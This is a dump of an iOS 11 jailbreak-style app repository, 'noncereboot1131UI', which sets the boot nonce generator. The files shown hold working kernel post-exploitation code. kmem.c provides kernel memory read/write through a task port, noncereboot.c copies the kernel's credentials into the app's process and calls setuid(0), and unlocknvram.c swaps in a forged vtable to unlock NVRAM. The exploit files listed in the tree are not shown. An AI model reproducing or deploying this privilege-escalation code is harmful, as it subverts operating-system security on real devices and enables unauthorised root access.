├── .gitignore ├── noncereboot1131UI ├── post-exploit │ ├── unlocknvram.h │ ├── utilities │ │ ├── offsetof.h │ │ ├── kexecute.h │ │ ├── exploit_additions.h │ │ ├── offsetof.c │ │ ├── nonce.h │ │ ├── kutils.h │ │ ├── nonce.c │ │ ├── kexecute.c │ │ ├── exploit_additions.c │ │ └── kutils.c │ ├── patchfinder64.h │ ├── noncereboot.h │ ├── noncereboot.c │ ├── unlocknvram.c │ └── patchfinder64.c ├── Assets.xcassets │ ├── Contents.json │ └── AppIcon.appiconset │ │ └── Contents.json ├── exploit │ ├── vfs_sploit.h │ ├── multi_path_sploit.h │ ├── kmem.h │ ├── offsets.h │ ├── kmem.c │ ├── offsets.m │ ├── README │ ├── multi_path_sploit.c │ └── vfs_sploit.c ├── noncereboot1131.entitlements ├── app │ ├── AppDelegate.h │ ├── controllers │ │ ├── ViewController.h │ │ └── ViewController.m │ ├── Base.lproj │ │ ├── LaunchScreen.storyboard │ │ └── Main.storyboard │ └── AppDelegate.m ├── main.m ├── Info.plist └── headers │ └── IOKit.h ├── noncereboot1131UI.xcodeproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcshareddata │ │ └── IDEWorkspaceChecks.plist └── project.pbxproj └── Makefile /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | xcuserdata/ 3 | *.ipa 4 | build/ 5 | 6 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/unlocknvram.h: -------------------------------------------------------------------------------- 1 | void unlocknvram(void); 2 | void locknvram(void); 3 | -------------------------------------------------------------------------------- /noncereboot1131UI/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "version" : 1, 4 | "author" : "xcode" 5 | } 6 | } -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/vfs_sploit.h: -------------------------------------------------------------------------------- 1 | #ifndef vfs_sploit_h 2 | #define vfs_sploit_h 3 | 4 | int vfs_sploit(void); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/multi_path_sploit.h: -------------------------------------------------------------------------------- 1 | #ifndef multi_path_sploit_h 2 | #define multi_path_sploit_h 3 | 4 | int multi_path_go(void); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/offsetof.h: -------------------------------------------------------------------------------- 1 | extern unsigned offsetof_p_pid; 2 | extern unsigned offsetof_task; 3 | extern unsigned offsetof_itk_space; 4 | extern unsigned offsetof_ip_kobject; 5 | extern unsigned offsetof_ipc_space_is_table; 6 | 7 | -------------------------------------------------------------------------------- /noncereboot1131UI.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 5 | void init_kexecute(void); 6 | void term_kexecute(void); 7 | -------------------------------------------------------------------------------- /noncereboot1131UI/noncereboot1131.entitlements: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.developer.networking.multipath 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /noncereboot1131UI.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/exploit_additions.h: -------------------------------------------------------------------------------- 1 | #ifndef exploit_additions_h 2 | #define exploit_additions_h 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | 10 | int message_size_for_kalloc_size(int kalloc_size); 11 | uint64_t find_port(mach_port_name_t port); 12 | 13 | #endif /* exploit_additions_h */ 14 | -------------------------------------------------------------------------------- /noncereboot1131UI/app/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // noncereboot1131UI 4 | // 5 | // Created by Pwn20wnd on 6/30/18. 6 | // Copyright © 2018 Pwn20wnd. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : UIResponder 12 | 13 | @property (strong, nonatomic) UIWindow *window; 14 | 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/offsetof.c: -------------------------------------------------------------------------------- 1 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 2 | unsigned offsetof_task = 0x18; // proc_t::task 3 | unsigned offsetof_itk_space = 0x308; // task_t::itk_space 4 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject 5 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 6 | -------------------------------------------------------------------------------- /noncereboot1131UI/app/controllers/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // noncereboot1131UI 4 | // 5 | // Created by Pwn20wnd on 6/30/18. 6 | // Copyright © 2018 Pwn20wnd. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface ViewController : UIViewController 12 | 13 | @property (weak, nonatomic) IBOutlet UITextField *generatorInput; 14 | 15 | @end 16 | 17 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | int init_kernel(uint64_t base, const char *filename); 5 | void term_kernel(void); 6 | 7 | // Fun part 8 | uint64_t find_allproc(void); 9 | uint64_t find_add_x0_x0_0x40_ret(void); 10 | uint64_t find_copyout(void); 11 | uint64_t find_bzero(void); 12 | uint64_t find_bcopy(void); 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /noncereboot1131UI/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // noncereboot1131UI 4 | // 5 | // Created by Pwn20wnd on 6/30/18. 6 | // Copyright © 2018 Pwn20wnd. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/nonce.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define RAWLOG(fmt, args...) fprintf(stderr, fmt, ##args); 4 | #define INFO(fmt, args...) RAWLOG("[INF] " fmt, ##args); 5 | #undef DEBUG 6 | #define DEBUG(fmt, args...) RAWLOG("[DBG] " fmt, ##args); 7 | #define ERROR(fmt, args...) RAWLOG("[ERR] " fmt, ##args); 8 | 9 | #include 10 | 11 | int setgen(const char*); 12 | char* getgen(void); 13 | int delgen(void); 14 | bool dump_apticket(const char *to); 15 | 16 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all mp vfs clean 2 | 3 | all: 4 | $(MAKE) mp 5 | 6 | mp: 7 | xcodebuild -arch arm64 -sdk iphoneos OTHER_CFLAGS="" OTHER_CPLUSPLUSFLAGS="" 8 | strip ./build/Release-iphoneos/noncereboot1131UI.app/noncereboot1131UI 9 | vfs: 10 | xcodebuild -arch arm64 -sdk iphoneos CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO OTHER_CFLAGS="-DWANT_VFS" OTHER_CPLUSPLUSFLAGS="-DWANT_VFS" 11 | strip ./build/Release-iphoneos/noncereboot1131UI.app/noncereboot1131UI 12 | clean: 13 | rm -rf build/ 14 | 15 | 16 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/kmem.h: -------------------------------------------------------------------------------- 1 | #ifndef kmem_h 2 | #define kmem_h 3 | 4 | extern uint64_t task_port_kaddr; 5 | extern mach_port_t tfp0; 6 | 7 | #define IO_BITS_ACTIVE 0x80000000 8 | #define IKOT_TASK 2 9 | #define IKOT_NONE 0 10 | 11 | void increase_limits(void); 12 | void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0); 13 | 14 | uint32_t rk32(uint64_t kaddr); 15 | uint64_t rk64(uint64_t kaddr); 16 | 17 | void wk32(uint64_t kaddr, uint32_t val); 18 | void wk64(uint64_t kaddr, uint64_t val); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/noncereboot.h: -------------------------------------------------------------------------------- 1 | // 2 | // noncereboot.h 3 | // noncereboot1131UI 4 | // 5 | // Created by Pwn20wnd on 6/30/18. 6 | // Copyright © 2018 Pwn20wnd. All rights reserved. 7 | // 8 | 9 | #ifndef noncereboot_h 10 | #define noncereboot_h 11 | 12 | #include 13 | 14 | enum { 15 | ERR_NOERR = 0, 16 | ERR_VERSION = -1, 17 | ERR_EXPLOIT = -2, 18 | ERR_UNSUPPORTED = -3, 19 | ERR_TFP0 = -4, 20 | ERR_POST_EXPLOITATION = -5, 21 | }; 22 | 23 | int start_noncereboot(mach_port_t tfp0); 24 | 25 | #endif /* noncereboot_h */ 26 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/kutils.h: -------------------------------------------------------------------------------- 1 | #ifndef kutils_h 2 | #define kutils_h 3 | 4 | #include 5 | #include "IOKit.h" 6 | 7 | uint64_t task_self_addr(void); 8 | uint64_t ipc_space_kernel(void); 9 | uint64_t find_kernel_base(void); 10 | 11 | mach_port_t fake_host_priv(void); 12 | 13 | size_t kread(uint64_t where, void *p, size_t size); 14 | size_t kwrite(uint64_t where, const void *p, size_t size); 15 | uint64_t kalloc(vm_size_t size); 16 | uint64_t kalloc_wired(uint64_t size); 17 | void kfree(mach_vm_address_t address, vm_size_t size); 18 | 19 | uint32_t find_pid_of_proc(const char *proc_name); 20 | uint64_t get_proc_struct_for_pid(pid_t proc_pid); 21 | 22 | #endif /* kutils_h */ 23 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef offsets_h 2 | #define offsets_h 3 | 4 | enum kstruct_offset { 5 | /* struct task */ 6 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 7 | KSTRUCT_OFFSET_TASK_REF_COUNT, 8 | KSTRUCT_OFFSET_TASK_ACTIVE, 9 | KSTRUCT_OFFSET_TASK_VM_MAP, 10 | KSTRUCT_OFFSET_TASK_NEXT, 11 | KSTRUCT_OFFSET_TASK_PREV, 12 | KSTRUCT_OFFSET_TASK_ITK_SPACE, 13 | KSTRUCT_OFFSET_TASK_BSD_INFO, 14 | 15 | /* struct ipc_port */ 16 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 17 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 18 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 19 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 20 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 21 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 22 | KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 23 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 24 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 25 | 26 | /* struct proc */ 27 | KSTRUCT_OFFSET_PROC_PID, 28 | KSTRUCT_OFFSET_PROC_P_FD, 29 | 30 | /* struct filedesc */ 31 | KSTRUCT_OFFSET_FILEDESC_FD_OFILES, 32 | 33 | /* struct fileproc */ 34 | KSTRUCT_OFFSET_FILEPROC_F_FGLOB, 35 | 36 | /* struct fileglob */ 37 | KSTRUCT_OFFSET_FILEGLOB_FG_DATA, 38 | 39 | /* struct socket */ 40 | KSTRUCT_OFFSET_SOCKET_SO_PCB, 41 | 42 | /* struct pipe */ 43 | KSTRUCT_OFFSET_PIPE_BUFFER, 44 | 45 | /* struct ipc_space */ 46 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE, 47 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, 48 | 49 | KFREE_ADDR_OFFSET, 50 | }; 51 | 52 | int koffset(enum kstruct_offset offset); 53 | int offsets_init(void); 54 | 55 | #endif 56 | -------------------------------------------------------------------------------- /noncereboot1131UI/app/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /noncereboot1131UI/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleDisplayName 8 | noncereboot 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | LSRequiresIPhoneOS 24 | 25 | UILaunchStoryboardName 26 | LaunchScreen 27 | UIMainStoryboardFile 28 | Main 29 | UIRequiredDeviceCapabilities 30 | 31 | armv7 32 | 33 | UISupportedInterfaceOrientations 34 | 35 | UIInterfaceOrientationPortrait 36 | UIInterfaceOrientationLandscapeLeft 37 | UIInterfaceOrientationLandscapeRight 38 | 39 | UISupportedInterfaceOrientations~ipad 40 | 41 | UIInterfaceOrientationPortrait 42 | UIInterfaceOrientationPortraitUpsideDown 43 | UIInterfaceOrientationLandscapeLeft 44 | UIInterfaceOrientationLandscapeRight 45 | 46 | LSApplicationQueriesSchemes 47 | 48 | tweetbot 49 | twitterrific 50 | tweetings 51 | twitter 52 | 53 | UIFileSharingEnabled 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /noncereboot1131UI/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "iphone", 5 | "size" : "20x20", 6 | "scale" : "2x" 7 | }, 8 | { 9 | "idiom" : "iphone", 10 | "size" : "20x20", 11 | "scale" : "3x" 12 | }, 13 | { 14 | "idiom" : "iphone", 15 | "size" : "29x29", 16 | "scale" : "2x" 17 | }, 18 | { 19 | "idiom" : "iphone", 20 | "size" : "29x29", 21 | "scale" : "3x" 22 | }, 23 | { 24 | "idiom" : "iphone", 25 | "size" : "40x40", 26 | "scale" : "2x" 27 | }, 28 | { 29 | "idiom" : "iphone", 30 | "size" : "40x40", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "idiom" : "iphone", 35 | "size" : "60x60", 36 | "scale" : "2x" 37 | }, 38 | { 39 | "idiom" : "iphone", 40 | "size" : "60x60", 41 | "scale" : "3x" 42 | }, 43 | { 44 | "idiom" : "ipad", 45 | "size" : "20x20", 46 | "scale" : "1x" 47 | }, 48 | { 49 | "idiom" : "ipad", 50 | "size" : "20x20", 51 | "scale" : "2x" 52 | }, 53 | { 54 | "idiom" : "ipad", 55 | "size" : "29x29", 56 | "scale" : "1x" 57 | }, 58 | { 59 | "idiom" : "ipad", 60 | "size" : "29x29", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "idiom" : "ipad", 65 | "size" : "40x40", 66 | "scale" : "1x" 67 | }, 68 | { 69 | "idiom" : "ipad", 70 | "size" : "40x40", 71 | "scale" : "2x" 72 | }, 73 | { 74 | "idiom" : "ipad", 75 | "size" : "76x76", 76 | "scale" : "1x" 77 | }, 78 | { 79 | "idiom" : "ipad", 80 | "size" : "76x76", 81 | "scale" : "2x" 82 | }, 83 | { 84 | "idiom" : "ipad", 85 | "size" : "83.5x83.5", 86 | "scale" : "2x" 87 | }, 88 | { 89 | "idiom" : "ios-marketing", 90 | "size" : "1024x1024", 91 | "scale" : "1x" 92 | } 93 | ], 94 | "info" : { 95 | "version" : 1, 96 | "author" : "xcode" 97 | } 98 | } -------------------------------------------------------------------------------- /noncereboot1131UI/app/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // noncereboot1131UI 4 | // 5 | // Created by Pwn20wnd on 6/30/18. 6 | // Copyright © 2018 Pwn20wnd. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | 11 | @interface AppDelegate () 12 | 13 | @end 14 | 15 | @implementation AppDelegate 16 | 17 | 18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 19 | // Override point for customization after application launch. 20 | return YES; 21 | } 22 | 23 | 24 | - (void)applicationWillResignActive:(UIApplication *)application { 25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 27 | } 28 | 29 | 30 | - (void)applicationDidEnterBackground:(UIApplication *)application { 31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 33 | } 34 | 35 | 36 | - (void)applicationWillEnterForeground:(UIApplication *)application { 37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 38 | } 39 | 40 | 41 | - (void)applicationDidBecomeActive:(UIApplication *)application { 42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 43 | } 44 | 45 | 46 | - (void)applicationWillTerminate:(UIApplication *)application { 47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 48 | } 49 | 50 | 51 | @end 52 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/noncereboot.c: -------------------------------------------------------------------------------- 1 | // 2 | // noncereboot.c 3 | // noncereboot1131UI 4 | // 5 | // Created by Pwn20wnd on 6/30/18. 6 | // Copyright © 2018 Pwn20wnd. All rights reserved. 7 | // 8 | 9 | #include "noncereboot.h" 10 | #include 11 | #include "kmem.h" 12 | #include "kutils.h" 13 | #include "patchfinder64.h" 14 | #include "kexecute.h" 15 | 16 | mach_port_t tfpzero = MACH_PORT_NULL; 17 | 18 | int start_noncereboot(mach_port_t tfp0) { 19 | printf("Starting noncereboot1131...\n"); 20 | 21 | int err = ERR_NOERR; 22 | 23 | if (tfp0 == MACH_PORT_NULL) { 24 | return ERR_TFP0; 25 | } 26 | 27 | tfpzero = tfp0; 28 | 29 | uint64_t kernel_base = find_kernel_base(); 30 | 31 | // Loads the kernel into the patch finder, which just fetches the kernel memory for patchfinder use 32 | init_kernel(kernel_base, NULL); 33 | 34 | // Get the slide 35 | uint64_t slide = kernel_base - 0xFFFFFFF007004000; 36 | printf("slide: 0x%016llx\n", slide); 37 | 38 | init_kexecute(); 39 | 40 | // Get our and the kernels struct proc from allproc 41 | uint32_t our_pid = getpid(); 42 | uint64_t our_proc = get_proc_struct_for_pid(our_pid); 43 | uint64_t kern_proc = get_proc_struct_for_pid(0); 44 | 45 | if (!our_proc || !kern_proc) { 46 | err = ERR_POST_EXPLOITATION; 47 | goto out; 48 | } 49 | 50 | printf("our proc is at 0x%016llx\n", our_proc); 51 | printf("kern proc is at 0x%016llx\n", kern_proc); 52 | 53 | // Properly copy the kernel's credentials so setuid(0) doesn't crash 54 | 55 | uint64_t copyout = find_copyout(); 56 | uint64_t bcopy = find_bcopy(); 57 | uint64_t bzero = find_bzero(); 58 | 59 | uint64_t kern_ucred = 0; 60 | kexecute(copyout, kern_proc+0x100, (uint64_t)&kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0); 61 | 62 | uint64_t self_ucred = 0; 63 | kexecute(copyout, our_proc+0x100, (uint64_t)&self_ucred, sizeof(self_ucred), 0, 0, 0, 0); 64 | 65 | kexecute(bcopy, kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0); 66 | kexecute(bzero, self_ucred + 0x18, 12, 0, 0, 0, 0, 0); 67 | 68 | setuid(0); 69 | 70 | out: 71 | term_kexecute(); 72 | term_kernel(); 73 | return err; 74 | } 75 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/kmem.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "kmem.h" 7 | #include "IOKit.h" 8 | #include "offsets.h" 9 | 10 | uint64_t task_port_kaddr = 0; 11 | mach_port_t tfp0 = MACH_PORT_NULL; 12 | 13 | void increase_limits() { 14 | struct rlimit lim = {0}; 15 | int err = getrlimit(RLIMIT_NOFILE, &lim); 16 | if (err != 0) { 17 | printf("failed to get limits\n"); 18 | } 19 | printf("rlim.cur: %lld\n", lim.rlim_cur); 20 | printf("rlim.max: %lld\n", lim.rlim_max); 21 | 22 | lim.rlim_cur = 10240; 23 | 24 | err = setrlimit(RLIMIT_NOFILE, &lim); 25 | if (err != 0) { 26 | printf("failed to set limits\n"); 27 | } 28 | 29 | lim.rlim_cur = 0; 30 | lim.rlim_max = 0; 31 | err = getrlimit(RLIMIT_NOFILE, &lim); 32 | if (err != 0) { 33 | printf("failed to get limits\n"); 34 | } 35 | printf("rlim.cur: %lld\n", lim.rlim_cur); 36 | printf("rlim.max: %lld\n", lim.rlim_max); 37 | 38 | } 39 | 40 | void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) { 41 | tfp0 = fake_tfp0; 42 | } 43 | 44 | void wk32(uint64_t kaddr, uint32_t val) { 45 | if (tfp0 == MACH_PORT_NULL) { 46 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); 47 | sleep(3); 48 | return; 49 | } 50 | 51 | kern_return_t err; 52 | err = mach_vm_write(tfp0, 53 | (mach_vm_address_t)kaddr, 54 | (vm_offset_t)&val, 55 | (mach_msg_type_number_t)sizeof(uint32_t)); 56 | 57 | if (err != KERN_SUCCESS) { 58 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); 59 | return; 60 | } 61 | } 62 | 63 | void wk64(uint64_t kaddr, uint64_t val) { 64 | uint32_t lower = (uint32_t)(val & 0xffffffff); 65 | uint32_t higher = (uint32_t)(val >> 32); 66 | wk32(kaddr, lower); 67 | wk32(kaddr+4, higher); 68 | } 69 | 70 | uint32_t rk32(uint64_t kaddr) { 71 | kern_return_t err; 72 | uint32_t val = 0; 73 | mach_vm_size_t outsize = 0; 74 | err = mach_vm_read_overwrite(tfp0, 75 | (mach_vm_address_t)kaddr, 76 | (mach_vm_size_t)sizeof(uint32_t), 77 | (mach_vm_address_t)&val, 78 | &outsize); 79 | if (err != KERN_SUCCESS){ 80 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0); 81 | sleep(3); 82 | return 0; 83 | } 84 | 85 | if (outsize != sizeof(uint32_t)){ 86 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); 87 | sleep(3); 88 | return 0; 89 | } 90 | return val; 91 | } 92 | 93 | uint64_t rk64(uint64_t kaddr) { 94 | uint64_t lower = rk32(kaddr); 95 | uint64_t higher = rk32(kaddr+4); 96 | uint64_t full = ((higher<<32) | lower); 97 | return full; 98 | } 99 | -------------------------------------------------------------------------------- /noncereboot1131UI/headers/IOKit.h: -------------------------------------------------------------------------------- 1 | // 2 | // IOKit.h 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef IOKit_h 10 | #define IOKit_h 11 | 12 | #include 13 | 14 | kern_return_t mach_vm_read( 15 | vm_map_t target_task, 16 | mach_vm_address_t address, 17 | mach_vm_size_t size, 18 | vm_offset_t *data, 19 | mach_msg_type_number_t *dataCnt); 20 | 21 | typedef mach_port_t io_service_t; 22 | typedef mach_port_t io_connect_t; 23 | typedef mach_port_t io_object_t; 24 | typedef io_object_t io_registry_entry_t; 25 | typedef char io_name_t[128]; 26 | typedef char io_struct_inband_t[4096]; 27 | 28 | extern const mach_port_t kIOMasterPortDefault; 29 | #define IO_OBJECT_NULL (0) 30 | 31 | io_service_t 32 | IOServiceGetMatchingService( 33 | mach_port_t _masterPort, 34 | CFDictionaryRef matching); 35 | 36 | CFMutableDictionaryRef 37 | IOServiceMatching( 38 | const char* name); 39 | 40 | kern_return_t 41 | IOServiceOpen( 42 | io_service_t service, 43 | task_port_t owningTask, 44 | uint32_t type, 45 | io_connect_t* connect ); 46 | 47 | io_service_t 48 | IOServiceGetMatchingService( 49 | mach_port_t _masterPort, 50 | CFDictionaryRef matching); 51 | 52 | CFMutableDictionaryRef 53 | IOServiceMatching( 54 | const char* name); 55 | 56 | kern_return_t 57 | IORegistryEntrySetCFProperties( 58 | io_registry_entry_t entry, 59 | CFTypeRef properties ); 60 | kern_return_t 61 | IORegistryEntryGetProperty( 62 | io_registry_entry_t entry, 63 | const io_name_t propertyName, 64 | io_struct_inband_t buffer, 65 | uint32_t * size ); 66 | 67 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 68 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 69 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 70 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 71 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); 72 | kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); 73 | 74 | #endif /* IOKit_h */ 75 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/unlocknvram.c: -------------------------------------------------------------------------------- 1 | // iOS 11 moves OFVariables to const 2 | // https://twitter.com/s1guza/status/908790514178301952 3 | // however, if we: 4 | // 1) Can find IODTNVRAM service 5 | // 2) Have tfp0 / kernel read|write|alloc 6 | // 3) Can leak kernel address of mach port 7 | // then we can fake vtable on IODTNVRAM object 8 | // async_wake satisfies those requirements 9 | // however, I wasn't able to actually set or get ANY nvram variable 10 | // not even userread/userwrite 11 | // Guess sandboxing won't let to access nvram 12 | 13 | #include 14 | #include 15 | #include "kmem.h" 16 | #include "offsets.h" 17 | #include "kutils.h" 18 | #include "exploit_additions.h" 19 | 20 | // convertPropToObject calls getOFVariableType 21 | // open convertPropToObject, look for first vtable call -- that'd be getOFVariableType 22 | // find xrefs, figure out vtable start from that 23 | // following are offsets of entries in vtable 24 | 25 | // it always returns false 26 | const uint64_t searchNVRAMProperty = 0x590; 27 | // 0 corresponds to root only 28 | const uint64_t getOFVariablePerm = 0x558; 29 | 30 | typedef mach_port_t io_service_t; 31 | typedef mach_port_t io_connect_t; 32 | extern const mach_port_t kIOMasterPortDefault; 33 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 34 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 35 | 36 | // get kernel address of IODTNVRAM object 37 | uint64_t get_iodtnvram_obj(void) { 38 | // get user serv 39 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 40 | 41 | // leak user serv 42 | // it should use via_kmem_read method by now, so second param doesn't matter 43 | uint64_t nvram_up = find_port(IODTNVRAMSrv); 44 | // get kern obj -- IODTNVRAM* 45 | uint64_t IODTNVRAMObj = rk64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 46 | 47 | return IODTNVRAMObj; 48 | } 49 | 50 | uint64_t orig_vtable = -1; 51 | 52 | void unlocknvram(void) { 53 | uint64_t obj = get_iodtnvram_obj(); 54 | uint64_t vtable_start = rk64(obj); 55 | 56 | orig_vtable = vtable_start; 57 | 58 | uint64_t vtable_end = vtable_start; 59 | // Is vtable really guaranteed to end with 0 or was it just a coincidence?.. 60 | // should we just use some max value instead? 61 | while (rk64(vtable_end) != 0) vtable_end += sizeof(uint64_t); 62 | 63 | uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start); 64 | 65 | // copy vtable to userspace 66 | uint64_t *buf = calloc(1, vtable_len); 67 | kread(vtable_start, buf, vtable_len); 68 | 69 | // alter it 70 | buf[getOFVariablePerm/sizeof(uint64_t)] = buf[searchNVRAMProperty/sizeof(uint64_t)]; 71 | 72 | // allocate buffer in kernel and copy it back 73 | uint64_t fake_vtable = kalloc_wired(vtable_len); 74 | kwrite(fake_vtable, buf, vtable_len); 75 | 76 | // replace vtable on IODTNVRAM object 77 | wk64(obj, fake_vtable); 78 | 79 | free(buf); 80 | } 81 | 82 | void locknvram(void) { 83 | if (orig_vtable == -1) { 84 | return; 85 | } 86 | 87 | uint64_t obj = get_iodtnvram_obj(); 88 | if (obj == 0) { // would never happen but meh 89 | return; 90 | } 91 | 92 | wk64(obj, orig_vtable); 93 | } 94 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/offsets.m: 